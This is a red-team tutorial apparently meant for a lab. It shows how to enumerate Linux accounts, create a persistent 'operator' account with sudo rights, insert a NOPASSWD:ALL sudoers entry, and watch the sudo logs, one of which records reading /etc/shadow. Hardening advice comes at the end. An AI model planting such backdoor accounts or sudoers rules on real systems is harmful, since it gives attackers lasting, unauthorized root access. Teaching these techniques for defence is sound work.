#PrivEsc

Identity Management Exploitation

0x00 - Executive Summary

Identity in Linux is a numerical abstraction. For a Red Team operator, manipulating the /etc/passwd structure and the sudoers policy engine represents one of the most direct paths to persistent administrative control. This report covers the tactical enumeration of system accounts and the mechanics of privilege elevation and persistence.

Impact Analysis: Successful exploitation allows for the subversion of the OS trust model, enabling an attacker to bypass authentication and maintain discrete, long-term administrative access.

0x01 - Prerequisites & Tooling

To follow this guide and replicate the lab environment, the following assets are required:

  • Target Machine: Linux Environment (Debian-based recommended).
  • Initial Access: Local User Shell (Unprivileged).
  • Core Utilities: cat, visudo, journalctl, id.

0x02 - The Theory: Why it works

Linux kernels do not recognize "usernames" during permission checks; they recognize UIDs (User Identifiers). The root account is merely a label for UID 0. If any user entry in /etc/passwd is modified to reflect UID 0, that user inherits full kernel-level authority.

Red Team Insight: The transition from unprivileged to privileged states via sudo relies on the integrity of the /etc/sudoers file and the visudo parser.

0x03 - Step-by-Step Execution

Phase 1: Identity Enumeration

The first objective is identifying human users and service accounts. Identifying accounts with interactive shells like /bin/bash or /bin/sh points to primary targets for lateral movement.

kali@lab-machine: ~
cat /etc/passwd | grep -E 'sh$|bash$'
output — passwd_db
root:x:0:0:root:/root:/bin/bash
lab_user:x:1001:1001:,,,:/home/lab_user:/bin/bash
operator:x:1002:1002:,,,:/home/operator:/bin/bash

Phase 2: Account Creation and Persistence

In a post-exploitation scenario, creating a persistent operator account provides a fallback mechanism. Promoting this user to the sudo group ensures full administrative reach.

kali@lab-machine: ~
sudo adduser persistent_operator
sudo adduser persistent_operator sudo

Phase 3: Sudoers Policy Injection

Using visudo allows for granular control. We trigger the editor to perform a direct entry insertion, granting NOPASSWD privileges for a full bypass.

kali@lab-machine: ~
sudo visudo
editor — /etc/sudoers
# User privilege specification
root                ALL=(ALL:ALL) ALL
persistent_operator ALL=(ALL:ALL) NOPASSWD:ALL

Phase 4: Real-time Surveillance

Monitoring sudo execution in real-time is crucial to understand the system's audit trail and detect if other operators or admins are active.

kali@lab-machine: ~
sudo journalctl -t sudo -f
output — journal_stream
Jan 20 01:31:53 lab-machine sudo[1842]: persistent_operator : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow

0x04 - Offense Informs Defense

To mitigate these vectors, security administrators should implement the following hardening steps:

  • Auditd: Configure rules to monitor all writes to /etc/passwd and /etc/sudoers.
  • Shell Restriction: Ensure service accounts use /usr/sbin/nologin.
  • UID 0 Audit: Periodically run awk to detect unauthorized UID 0 accounts.

Modern Command Legacy Equivalent Function
adduser [user] useradd -m -s /bin/bash User provisioning
deluser --remove-home userdel -rf Artifact cleanup
journalctl -t sudo -f tail -f /var/log/auth.log Log streaming